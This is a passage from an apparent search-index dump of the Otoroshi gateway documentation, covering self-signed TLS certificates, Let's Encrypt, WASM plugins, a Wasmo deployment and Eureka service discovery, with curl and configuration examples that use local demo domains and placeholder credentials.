SSL_connect: SSL_ERROR_SYSCALL in connection to myservice.oto.tools:8443\n```\n\nTo fix it, we have to generate a certificate and import it in Otoroshi to match the domain `myservice.oto.tools`.\n\n> If you already had a certificate you can skip the next set of commands and directly import your certificate in Otoroshi\n\nWe will use openssl to generate a private key and a self-signed certificate.\n\n```sh\nopenssl genrsa -out myservice.key 4096\n# remove pass phrase\nopenssl rsa -in myservice.key -out myservice.key\n# generate the certificate authority cert\nopenssl req -new -x509 -sha256 -days 730 -key myservice.key -out myservice.cer -subj \"/CN=myservice.oto.tools\"\n```\n\nCheck the content of the certificate \n\n```sh\nopenssl x509 -in myservice.cer -text\n```\n\nThis should contains something like\n\n```sh\nCertificate:\n Data:\n Version: 1 (0x0)\n Serial Number: 9572962808320067790 (0x84d9fef455f188ce)\n Signature Algorithm: sha256WithRSAEncryption\n Issuer: CN=myservice.oto.tools\n Validity\n Not Before: Nov 23 14:25:55 2021 GMT\n Not After : Nov 23 14:25:55 2022 GMT\n Subject: CN=myservice.oto.tools\n Subject Public Key Info:\n Public Key Algorithm: rsaEncryption\n Public-Key: (4096 bit)\n Modulus:\n...\n```\n\nOnce generated, go back to Otoroshi and navigate to the certificates management page (`top right cog icon / SSL/TLS certificates` or at @link:[`/bo/dashboard/certificates`](http://otoroshi.oto.tools:8080/bo/dashboard/certificates)) and click on `Add item`.\n\nSet `myservice-certificate` as `name` and `description`.\n\nDrop the `myservice.cer` file or copy the content to the `Certificate full chain` field.\n\nDo the same action for the `myservice.key` file in the `Certificate private key` field.\n\nSet your passphrase password in the `private key password` field if you added one.\n\nLet's try the same call to the service.\n\n```sh\ncurl 'https://myservice.oto.tools:8443'\n```\n\nAn error should occurs due to the untrsuted received certificate server\n\n```sh\ncurl: (60) SSL certificate problem: self signed certificate\nMore details here: https://curl.haxx.se/docs/sslcerts.html\n\ncurl failed to verify the legitimacy of the server and therefore could not\nestablish a secure connection to it. To learn more about this situation and\nhow to fix it, please visit the web page mentioned above.\n```\n\nEnd this tutorial by trusting the certificate server \n\n```sh\ncurl 'https://myservice.oto.tools:8443' --cacert myservice.cer\n```\n\nThis should finally output\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.opunmaif.io\",\n \"accept\": \"*/*\",\n \"user-agent\": \"curl/7.64.1\",\n \"x-forwarded-port\": \"443\",\n \"opun-proxied-host\": \"mirror.otoroshi.io\",\n \"otoroshi-request-id\": \"1463158439730479893\",\n \"otoroshi-proxied-host\": \"myservice.oto.tools:8443\",\n \"opun-gateway-request-id\": \"1463158439558515871\",\n \"x-forwarded-proto\": \"https\",\n \"sozu-id\": \"01FN6MGKSYZNJYHEMP4R5PJ4Q5\"\n },\n \"body\": \"\"\n}\n```\n\n"},{"name":"tls-using-lets-encrypt.md","id":"/how-to-s/tls-using-lets-encrypt.md","url":"/how-to-s/tls-using-lets-encrypt.html","title":"TLS termination using Let's Encrypt","content":"# TLS termination using Let's Encrypt\n\nAs you know, Otoroshi is capable of doing TLS termination for your services. You can import your own certificates, generate certificates from scratch and you can also use the @link:[ACME protocol](https://datatracker.ietf.org/doc/html/rfc8555) to generate certificates. One of the most popular service offering ACME certificates creation is @link:[Let's Encrypt](https://letsencrypt.org/).\n\n@@@ warning\nIn order to make this tutorial work, your otoroshi instance MUST be accessible from the internet in order to be reachable by Let's Encrypt ACME process. Also, the domain name used for the certificates MUST be configured to reach your otoroshi instance at your DNS provider level.\n@@@\n\n@@@ note\nthis tutorial can work with any ACME provider with the same rules. your otoroshi instance MUST be accessible by the ACME process. Also, the domain name used for the certificates MUST be configured to reach your otoroshi instance at your DNS provider level.\n@@@\n\n## Setup let's encrypt on otoroshi\n\nGo on the danger zone page by clicking on the [`cog icon / Danger Zone`](http://otoroshi.oto.tools:8080/bo/dashboard/certificates). Scroll to the `Let's Encrypt settings` section. Enable it, and specify the address of the ACME server (for production Let's Encrypt it's `acme://letsencrypt.org`, for testing, it's `acme://letsencrypt.org/staging`. Any ACME server address should work). You can also add one or more email addresses or contact urls that will be included in your Let's Encrypt account. You don't have to fill the `public/private key` inputs as they will be automatically generated on the first usage.\n\n## Creating let's encrypt certificate from FQDNs\n\nYou can go to the certificates page by clicking on the [`cog icon / SSL/TLS Certificates`](http://otoroshi.oto.tools:8080/bo/dashboard/certificates). Here, click on the `+ Let's Encrypt certificate` button. A popup will show up to ask you the FQDN that you want for you certificate. Once done, click on the `Create` button. A few moment later, you will be redirected on a brand new certificate generated by Let's encrypt. You can now enjoy accessing your service behind the FQDN with TLS.\n\n## Creating let's encrypt certificate from a service\n\nYou can go to any service page and enable the flag `Issue Let's Encrypt cert.`. Do not forget to save your service. A few moment later, the certificates will be available in the certificates page and you can will be able to enjoy accessing your service with TLS.\n"},{"name":"wasm-usage.md","id":"/how-to-s/wasm-usage.md","url":"/how-to-s/wasm-usage.html","title":"Using wasm plugins","content":"# Using wasm plugins\n\nWebAssembly (WASM) is a simple machine model and executable format with an extensive specification. It is designed to be portable, compact, and execute at or near native speeds. Otoroshi already supports the execution of WASM files by providing different plugins that can be applied on routes. You can find more about those plugins @ref:[here](../topics/wasm-usage.md)\n\nTo simplify the process of WASM creation and usage, Otoroshi provides:\n\n- otoroshi ui integration: a full set of plugins that let you pick which WASM function to runtime at any point in a route\n- otoroshi `wasmo`: a code editor in the browser that let you write your plugin in `Rust`, `TinyGo`, `Javascript` or `Assembly Script` without having to think about compiling it to WASM (you can find a complete tutorial about it @ref:[here](../how-to-s/wasmo-installation.md))\n\n@@@ div { .centered-img }\n\n@@@\n\n## Tutorial\n\n1. [Before your start](#before-your-start)\n2. [Create the route with the plugin validator](#create-the-route-with-the-plugin-validator)\n3. [Test your validator](#test-your-validator)\n4. [Update the route by replacing the backend with a WASM file](#update-the-route-by-replacing-the-backend-with-a-wasm-file)\n5. [WASM backend test](#wasm-backend-test)\n6. [Expose a single file as WASM backend](#expose-a-single-file-as-wasm-backend)\n\nAfter completing these steps you will have a route that uses WASM plugins written in Rust.\n\n## Before your start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n## Create the route with the plugin validator\n\nFor this tutorial, we will start with an existing wasm file. The main function of this file will check the value of an http header to allow access or not. The can find this file at [https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm](#https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm)\n\nThe main function of this validator, written in rust, should look like:\n\nvalidator.rs\n: @@snip [validator.rs](../snippets/wasmo/validator.rs)\n\nvalidator.js\n: @@snip [validator.js](../snippets/wasmo/validator.js)\n\nvalidator.ts\n: @@snip [validator.ts](../snippets/wasmo/validator.ts)\n\nvalidator.js\n: @@snip [validator.js](../snippets/wasmo/validator.js)\n\nvalidator.go\n: @@snip [validator.js](../snippets/wasmo/validator.go)\n\nThe plugin receives the request context from Otoroshi (the matching route, the api key if present, the headers, etc) as `WasmAccessValidatorContext` object.\nThen it applies a check on the headers, and responds with an error or success depending on the content of the foo header.\nObviously, the previous snippet is an example and the editor allows you to write whatever you want as a check.\n\nLet's create a route that uses the previous wasm file as an access validator plugin :\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/routes\" \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"demo-otoroshi\",\n \"name\": \"demo-otoroshi\",\n \"frontend\": {\n \"domains\": [\"demo-otoroshi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\",\n \"enabled\": true\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmAccessValidator\",\n \"enabled\": true,\n \"config\": {\n \"source\": {\n \"kind\": \"http\",\n \"path\": \"https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm\",\n \"opts\": {}\n },\n \"memoryPages\": 4,\n \"functionName\": \"execute\"\n }\n }\n ]\n}\nEOF\n```\n\nThis request will apply the following process:\n\n- names the route _demo-otoroshi_\n- creates a frontend exposed on the `demo-otoroshi.oto.tools`\n- forward requests on one target, reachable at `mirror.otoroshi.io` using TLS on port 443\n- adds the _WasmAccessValidator_ plugin to validate access based on the foo header to the route\n\nYou can validate the route creation by navigating to the [dashboard](http://otoroshi.oto.tools:8080/bo/dashboard/routes/demo-otoroshi?tab=flow)\n\n## Test your validator\n\n```shell\ncurl \"http://demo-otoroshi.oto.tools:8080\" -I\n```\n\nThis should output the following error:\n\n```\nHTTP/1.1 401 Unauthorized\n```\n\nLet's call again the route by adding the header foo with the bar value.\n\n```shell\ncurl \"http://demo-otoroshi.oto.tools:8080\" -H \"foo:bar\" -I\n```\n\nThis should output the successfull message:\n\n```\nHTTP/1.1 200 OK\n```\n\n## Update the route by replacing the backend with a WASM file\n\nThe next step in this tutorial is to use a WASM file as backend of the route. We will use an existing WASM file, available in our wasm demos repository on github.\nThe content of this plugin, called `wasm-target.wasm`, looks like:\n\ntarget.rs\n: @@snip [target.rs](../snippets/wasmo/target.rs)\n\ntarget.js\n: @@snip [target.js](../snippets/wasmo/target.js)\n\ntarget.ts\n: @@snip [target.ts](../snippets/wasmo/target.ts)\n\ntarget.go\n: @@snip [target.js](../snippets/wasmo/target.go)\n\nLet's explain this snippet. The purpose of this type of plugin is to respond an HTTP response with http status, body and headers map.\n\n1. Includes all public structures from `types.rs` file. This file contains predefined Otoroshi structures that plugins can manipulate.\n2. Necessary imports. [Extism](https://extism.org/docs/overview)'s goal is to make all software programmable by providing a plug-in system.\n3. Creates a map of new headers that will be merged with incoming request headers.\n4. Creates the response object with the map of merged headers, a simple JSON body and a successfull status code.\n\nThe file is downloadable [here](https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/wasm-target.wasm).\n\nLet's update the route using the this wasm file.\n\n```sh\ncurl -X PUT \"http://otoroshi-api.oto.tools:8080/api/routes/demo-otoroshi\" \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"demo-otoroshi\",\n \"name\": \"demo-otoroshi\",\n \"frontend\": {\n \"domains\": [\"demo-otoroshi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\",\n \"enabled\": true\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmAccessValidator\",\n \"enabled\": true,\n \"config\": {\n \"source\": {\n \"kind\": \"http\",\n \"path\": \"https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm\",\n \"opts\": {}\n },\n \"memoryPages\": 4,\n \"functionName\": \"execute\"\n }\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmBackend\",\n \"enabled\": true,\n \"config\": {\n \"source\": {\n \"kind\": \"http\",\n \"path\": \"https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/wasm-target.wasm\",\n \"opts\": {}\n },\n \"memoryPages\": 4,\n \"functionName\": \"execute\"\n }\n }\n ]\n}\nEOF\n```\n\nThe response should contains the updated route content.\n\n## WASM backend test\n\nLet's call our route.\n\n```sh\ncurl \"http://demo-otoroshi.oto.tools:8080\" -H \"foo:bar\" -H \"fifi: foo\" -v\n```\n\nThis should output:\n\n```\n* Trying 127.0.0.1:8080...\n* Connected to demo-otoroshi.oto.tools (127.0.0.1) port 8080 (#0)\n> GET / HTTP/1.1\n> Host: demo-otoroshi.oto.tools:8080\n> User-Agent: curl/7.79.1\n> Accept: */*\n> foo:bar\n> fifi:foo\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< foo: bar\n< Host: demo-otoroshi.oto.tools:8080\n<\n* Closing connection 0\n{\"foo\": \"bar\"}\n```\n\nIn this response, we can find our headers send in the curl command and those added by the wasm plugin.\n\n## Expose a single file as WASM backend\n\nA WASM backend plugin can directly expose a file written in Wasmo. This is the simplest possibility to write HTML, Javascript, JSON or expose a simple PNG image.\n\nLet's expose a HTML page. In your Wasmo instance, execute the following instructions:\n\n1. Click the new plugin button\n2. Add a name and `validate`\n3. Click the new plugin\n4. Create a new file named `index.html`\n5. Copy and paste the following content\n\n```html\n\n\n \n Wasmo plugin\n \n \n

Hello from Wasmo

\n \n\n```\n\nThis snippet is a short HTML template with a title to indicate that it comes from Wasmo.\n\nNow we can write our javascript function to parse and return the content of our HTML to Otoroshi.\n\n1. Navigate to the `index.js` file\n2. Replace the content with the following content\n\n```js\nimport IndexPage from \"./index.html\";\n\nexport function execute() {\n let response = {\n headers: {\n \"Content-Type\": \"text/html; charset=utf-8\",\n },\n body: IndexPage,\n status: 200,\n };\n\n Host.outputString(JSON.stringify(response));\n\n return 0;\n}\n```\n\nThe code is pretty self-explanatory. We start by importing our HTML page and we build the response with the correct content type, the body and a 200 http status.\n\nJust before testing, we need to change the esbuild configuration to specify how to bundle the HTML file.\n\nThe contents of your `esbuild.js` file should look this:\n\n```js\nconst esbuild = require(\"esbuild\");\n\nesbuild.build({\n entryPoints: [\"index.js\"],\n outdir: \"dist\",\n bundle: true,\n loader: {\n \".html\": \"text\",\n },\n sourcemap: true,\n minify: false, // might want to use true for production build\n format: \"cjs\", // needs to be CJS for now\n target: [\"es2020\"], // don't go over es2020 because quickjs doesn't support it\n});\n```\n\nCheck your browser at `http://demo-otoroshi.oto.tools:8080` and you should see your page content updated to the new text.\n\nIf you need to expose more than a HTML page, we highly recommend to use the @ref:[Zip Backend plugin](../how-to-s/zip-backend-plugin.md)\n"},{"name":"wasmo-installation.md","id":"/how-to-s/wasmo-installation.md","url":"/how-to-s/wasmo-installation.html","title":"Deploy your own Wasmo","content":"# Deploy your own Wasmo\n\nInstalling Wasmo can be done by following the [Getting Started](https://maif.github.io/wasmo/builder/getting-started) in Wasmo documentation.\n\n## Tutorial\n\n- [Deploy your own Wasmo](#deploy-your-own-wasmo)\n - [Tutorial](#tutorial)\n - [Before your start](#before-your-start)\n - [Create a route to expose and protect Wasmo with authentication](#create-a-route-to-expose-and-protect-wasmo-with-authentication)\n - [Create a first validator plugin using Wasmo](#create-a-first-validator-plugin-using-wasmo)\n - [Pairing Otoroshi and Wasmo](#pairing-otoroshi-with-wasmo)\n - [Create a route using the generated wasm file](#create-a-route-using-the-generated-wasm-file)\n - [Test your route](#test-your-route)\n\nAfter completing these steps you will have a running Otoroshi instance and our owm Wasmo linked together.\n\n### Before your start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create a route to expose and protect Wasmo with authentication\n\nWe are going to use the admin API of Otoroshi to create the route. The configuration of the route is:\n\n* `wasmo` as name\n* `wasmo.oto.tools` as exposed domain\n* `localhost:5001` as target without TLS option enabled\n\nWe need to add two more plugins to require the authentication from users and to pass the logged in user to Wasmo. \nThese plugins are named `Authentication` and `Otoroshi Info. token`. \nThe Authentication plugin will use an in-memory authentication with one default user (wasm@otoroshi.io/password). \nThe second plugin will be configured with the value of the `OTOROSHI_USER_HEADER` environment variable. \n\nLet's create the authentication module (if you are interested in how authentication module works, \nyou should read the other tutorials about How to secure an app). \nThe following command creates an in-memory authentication module with an user.\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/auths\" \\\n-u \"admin-api-apikey-id:admin-api-apikey-secret\" \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\n \"id\": \"wasmo_in_memory\",\n \"type\": \"basic\",\n \"name\": \"In memory authentication\",\n \"desc\": \"Group of static users\",\n \"users\": [\n {\n \"name\": \"User Otoroshi\",\n \"password\": \"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i\",\n \"email\": \"wasm@otoroshi.io\"\n }\n ],\n \"sessionCookieValues\": {\n \"httpOnly\": true,\n \"secure\": false\n }\n}\nEOF\n```\n\nOnce created, you can create our route to expose Wasmo.\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/routes\" \\\n-H \"Content-type: application/json\" \\\n-u \"admin-api-apikey-id:admin-api-apikey-secret\" \\\n-d @- <<'EOF'\n{\n \"id\": \"wasmo\",\n \"name\": \"wasmo\",\n \"frontend\": {\n \"domains\": [\"wasmo.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"localhost\",\n \"port\": 5001,\n \"tls\": false\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AuthModule\",\n \"exclude\": [\n \"/plugins\",\n \"/wasm/.*\"\n ],\n \"config\": {\n \"pass_with_apikey\": false,\n \"auth_module\": null,\n \"module\": \"wasmo_in_memory\"\n }\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"include\": [\n \"/plugins\",\n \"/wasm/.*\"\n ],\n \"config\": {}\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.OtoroshiInfos\",\n \"config\": {\n \"version\": \"Latest\",\n \"ttl\": 30,\n \"header_name\": \"Otoroshi-User\",\n \"algo\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"veryverysecret\"\n }\n }\n }\n ]\n}\nEOF\n```\n\nTry to access to Wasmo with the new domain: http://wasmo.oto.tools:8080. \nThis should redirect you to the login page of Otoroshi. Enter the credentials of the user: wasm@otoroshi.io/password\nCongratulations, you now have secured Wasmo.\n\n### Create a first validator plugin using Wasmo\n\nIn the previous part, we secured the access to Wasmo. Now, is the time to create your first simple plugin, written in Rust. \nThis plugin will apply a check on the request and ensure that the headers contains the key-value foo:bar.\n\n1. On the right top of the screen, click on the plus icon to create a new plugin\n2. Select the Rust language\n3. Call it `my-first-validator` and press the enter key\n4. Click on the new plugin called `my-first-validator`\n\nBefore continuing, let's explain the different files already present in your plugin. \n\n* `types.rs`: this file contains all Otoroshi structures that the plugin can receive and respond\n* `lib.rs`: this file is the core of your plugin. It must contain at least one **function** which will be called by Otoroshi when executing the plugin.\n* `Cargo.toml`: for each rust package, this file is called its manifest. It is written in the TOML format. \nIt contains metadata that is needed to compile the package. You can read more information about it [here](https://doc.rust-lang.org/cargo/reference/manifest.html)\n\nYou can write a plugin for different uses cases in Otoroshi: validate an access, transform request or generate a target. \nIn terms of plugin type,\nyou need to change your plugin's context and reponse types accordingly.\n\nLet's take the example of creating a validator plugin. If we search in the types.rs file, we can found the corresponding \ntypes named: `WasmAccessValidatorContext` and `WasmAccessValidatorResponse`.\nThese types must be use in the declaration of the main **function** (named execute in our case).\n\n```rust\n... \npub fn execute(Json(context): Json) -> FnResult> {\n \n}\n```\n\nWith this code, we declare a function named `execute`, which takes a context of type WasmAccessValidatorContext as parameter, \nand which returns an object of type WasmAccessValidatorResponse. Now, let's add the check of the foo header.\n\n```rust\n... \npub fn execute(Json(context): Json) -> FnResult> {\n match context.request.headers.get(\"foo\") {\n Some(foo) => if foo == \"bar\" {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: true,\n error: None\n }))\n } else {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: format!(\"{} is not authorized\", foo).to_owned(), \n status: 401\n }) \n }))\n },\n None => Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: \"you're not authorized\".to_owned(), \n status: 401\n }) \n }))\n }\n}\n```\n\nFirst, we checked if the foo header is present, otherwise we return an object of type WasmAccessValidatorError.\nIn the other case, we continue by checking its value. In this example, we have used three types, already declared for you in the types.rs file:\n`WasmAccessValidatorResponse`, `WasmAccessValidatorError` and `WasmAccessValidatorContext`. \n\nAt this time, the content of your lib.rs file should be:\n\n```rust\nmod types;\n\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn execute(Json(context): Json) -> FnResult> {\n match context.request.headers.get(\"foo\") {\n Some(foo) => if foo == \"bar\" {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: true,\n error: None\n }))\n } else {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: format!(\"{} is not authorized\", foo).to_owned(), \n status: 401\n }) \n }))\n },\n None => Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: \"you're not authorized\".to_owned(), \n status: 401\n }) \n }))\n }\n}\n```\n\nLet's compile this plugin by clicking on the hammer icon at the right top of your screen. Once done, you can try your built plugin directly in the UI.\nClick on the play button at the right top of your screen, select your plugin and the correct type of the incoming fake context. \nOnce done, click on the run button at the bottom of your screen. This should output an error.\n\n```json\n{\n \"result\": false,\n \"error\": {\n \"message\": \"asd is not authorized\",\n \"status\": 401\n }\n}\n```\n\nLet's edit the fake input context by adding the exepected foo Header.\n\n```json\n{\n \"request\": {\n \"id\": 0,\n \"method\": \"\",\n \"headers\": {\n \"foo\": \"bar\"\n },\n \"cookies\"\n ...\n```\n\nResubmit the command. It should pass.\n\n### Pairing Otoroshi and Wasmo\n\nNow that we have our compiled plugin, we have to connect Otoroshi with Wasmo. Let's navigate to the danger zone, and add the following values in the Wasmo section:\n\n* `URL`: http://localhost:5001\n* `Apikey id`: admin-api-apikey-id\n* `Apikey secret`: admin-api-apikey-secret\n* `User(s)`: *\n* `Token secret`:\n\nThe User(s) property is used by Wasmo to filter the list of returned plugins (example: wasm@otoroshi.io will only return the list of plugins created by this user). \n\nDon't forget to save the configuration.\n\n### Create a route using the generated wasm file\n\nThe last step of our tutorial is to create the route using the validator. Let's create the route with the following parameters:\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/routes\" \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"wasm-route\",\n \"name\": \"wasm-route\",\n \"frontend\": {\n \"domains\": [\"wasm-route.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"localhost\",\n \"port\": 5001,\n \"tls\": false\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmAccessValidator\",\n \"enabled\": true,\n \"config\": {\n \"compiler_source\": \"my-first-validator\",\n \"functionName\": \"execute\"\n }\n }\n ]\n}\nEOF\n```\n\nYou can validate the creation by navigating to the [dashboard](http://otoroshi.oto.tools:9999/bo/dashboard/routes/wasm-route?tab=flow)\n\n### Test your route\n\nRun the two following commands. The first should show an unauthorized error and the second should conclude this tutorial.\n\n```sh\ncurl \"http://wasm-route.oto.tools:8080\"\n```\n\nand \n\n```sh\ncurl \"http://wasm-route.oto.tools:8080\" -H \"foo:bar\"\n```\n\nCongratulations, you have successfully written your first validator using your own Wasmo.\n"},{"name":"working-with-eureka.md","id":"/how-to-s/working-with-eureka.md","url":"/how-to-s/working-with-eureka.html","title":"Working with Eureka","content":"# Working with Eureka\n\n\n\nEureka is a library of Spring Cloud Netflix, which provides two parts to register and discover services.\nGenerally, the services are applications written with Spring but Eureka also provides a way to communicate in REST. The main goals of Eureka are to allow clients to find and communicate with each other without hard-coding the hostname and port.\nAll services are registered in an Eureka Server.\n\nTo work with Eureka, Otoroshi has three differents plugins:\n\n* to expose its own Eureka Server instance\n* to discover an existing Eureka Server instance\n* to use Eureka application as an Otoroshi target and took advantage of all Otoroshi clients features (load-balancing, rate limiting, etc...)\n\nLet's cut this tutorial in three parts. \n\n- Create an simple Spring application that we'll use as an Eureka Client\n- Deploy an implementation of the Otoroshi Eureka Server (using the `Eureka Instance` plugin), register eureka clients and expose them using the `Internal Eureka Server` plugin\n- Deploy an Netflix Eureka Server and use it in Otoroshi to discover apps using the `External Eureka Server` plugin.\n\n\nIn this tutorial: \n\n- [Create an Otoroshi route with the Internal Eureka Server plugin](#create-an-otoroshi-route-with-the-internal-eureka-server-plugin)\n- [Create a simple Eureka Client and register it](#create-a-simple-eureka-client-and-register-it)\n- [Connect to an external Eureka server](#connect-to-an-external-eureka-server)\n\n### Download Otoroshi\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create an Otoroshi route with the Internal Eureka Server plugin\n\n@@@ note\nWe'll supposed that you have an Otoroshi exposed on the 8080 port with the new Otoroshi engine enabled\n@@@\n\nLet's jump to the routes Otoroshi [view](http://otoroshi.oto.tools:8080/bo/dashboard/routes) and create a new route using the wizard button.\n\nEnter the following values in for each step:\n\n1. An Eureka Server instance\n2. Choose the first choice : **BLANK ROUTE** and click on continue\n3. As exposed domain, set `eureka-server.oto.tools/eureka`\n4. As Target URL, set `http://foo.bar` (this value has no importance and will be skip by the Otoroshi Instance plugin)\n5. Validate the creation\n\nOnce created, you can hide with the arrow on the right top of the screen the tester view (which is displayed by default after each route creation).\nIn our case, we want to add a new plugin, called Internal Eureka Instance on our feed.\n\nInside the designer view:\n\n1. Search the `Eureka Instance` in the list of plugins.\n2. Add it to the feed by clicking on it\n3. Set an eviction timeout at 300 seconds (this configuration is used by Otoroshi to automatically check if an Eureka is up. Otherwise Otoroshi will evict the eureka client from the registry)\n\nWell done you have set up an Eureka Server. To check the content of an Eureka Server, you can navigate to this [link]('http://otoroshi.oto.tools:8080/bo/dashboard/eureka-servers'). In all case, none instances or applications are registered, so the registry is currently empty.\n\n### Create a simple Eureka Client and register it\n\n*This tutorial has no vocation to teach you how to write an Spring application and it may exists a newer version of this Spring code.*\n\n\nFor this tutorial, we'll use the following code which initiates an Eureka Client and defines an Spring REST Controller with only one endpoint. This endpoint will return its own exposed port (this value will be useful to check that the Otoroshi load balancing is right working between the multiples Eureka instances registered).\n\n\nLet's fast create a Spring project using [Spring Initializer](https://start.spring.io/). You can use the previous link or directly click on the following link to get the form already filled with the needed dependencies.\n\n````bash\nhttps://start.spring.io/#!type=maven-project&language=java&platformVersion=2.7.3&packaging=jar&jvmVersion=17&groupId=otoroshi.io&artifactId=eureka-client&name=eureka-client&description=A%20simple%20eureka%20client&packageName=otoroshi.io.eureka-client&dependencies=cloud-eureka,web\n````\n\nFeel free to change the project metadata for your use case.\n\nOnce downloaded and uncompressed, let's ahead and start to delete the application.properties and create an application.yml (if you are more comfortable with an application.properties, keep it)\n\n````yaml\neureka:\n client:\n fetch-registry: false # disable the discovery services mechanism for the client\n serviceUrl:\n defaultZone: http://eureka-server.oto.tools:8080/eureka\n\nspring:\n application:\n name: foo_app\n\n````\n\n\nNow, let's define the simple REST controller to expose the client port.\n\nCreate a new file, called PortController.java, in the sources folder of your project with the following content.\n\n````java\npackage otoroshi.io.eurekaclient;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.env.Environment;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class PortController {\n\n @Autowired\n Environment environment;\n\n @GetMapping(\"/port\")\n public String index() {\n return environment.getProperty(\"local.server.port\");\n }\n}\n````\nThis controller is very simple, we just exposed one endpoint `/port` which returns the port as string. Our client is ready to running. \n\nLet's launch it with the following command:\n\n````sh\nmvn spring-boot:run -Dspring-boot.run.arguments=--server.port=8085\n````\n\n@@@note\nThe port is not required but it will be useful when we will deploy more than one instances in the rest of the tutorial\n@@@\n\n\nOnce the command ran, you can navigate to the eureka server view in the Otoroshi UI. The dashboard should displays one registered app and instance.\nIt should also displays a timer for each application which represents the elapsed time since the last received heartbeat.\n\nLet's define a new route to exposed our registered eureka client.\n\n* Create a new route, named `Eureka client`, exposed on `http://eureka-client.oto.tools:8080` and targeting `http://foo.bar`\n* Search and add the `Internal Eureka server` plugin \n* Edit the plugin and choose your eureka server and your app (in our case, `Eureka Server` and `FOO_APP` respectively)\n* Save your route\n\nNow try to call the new route.\n\n````sh\ncurl 'http://eureka-client.oto.tools:8080/port'\n````\n\nIf everything is working, you should get the port 8085 as the response.The setup is working as expected, but we can improve him by scaling our eureka client.\n\nOpen a new tab in your terminal and run the following command.\n\n````sh\nmvn spring-boot:run -Dspring-boot.run.arguments=--server.port=8083\n````\n\nJust wait a few seconds and retry to call your new route.\n\n````sh\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8082\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8085\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8085\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8082\n````\n\nThe configuration is ready and the setup is working, Otoroshi use all instances of your app to dispatch clients on it.\n\n### Connect to an external Eureka server\n\nOtoroshi has the possibility to discover services by connecting to an Eureka Server.\n\nLet's create a route with an Eureka application as Otoroshi target:\n\n* Create a new blank API route\n* Search and add the `External Eureka Server` plugin\n* Set your eureka URL\n* Click on `Fetch Services` button to discover the applications of the Eureka instance\n* In the appeared selector, choose the application to target\n* Once the frontend configured, save your route and try to call it.\n\nWell done, you have exposed your Eureka application through the Otoroshi discovery services.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"},{"name":"zip-backend-plugin.md","id":"/how-to-s/zip-backend-plugin.md","url":"/how-to-s/zip-backend-plugin.html","title":"Quickly expose a 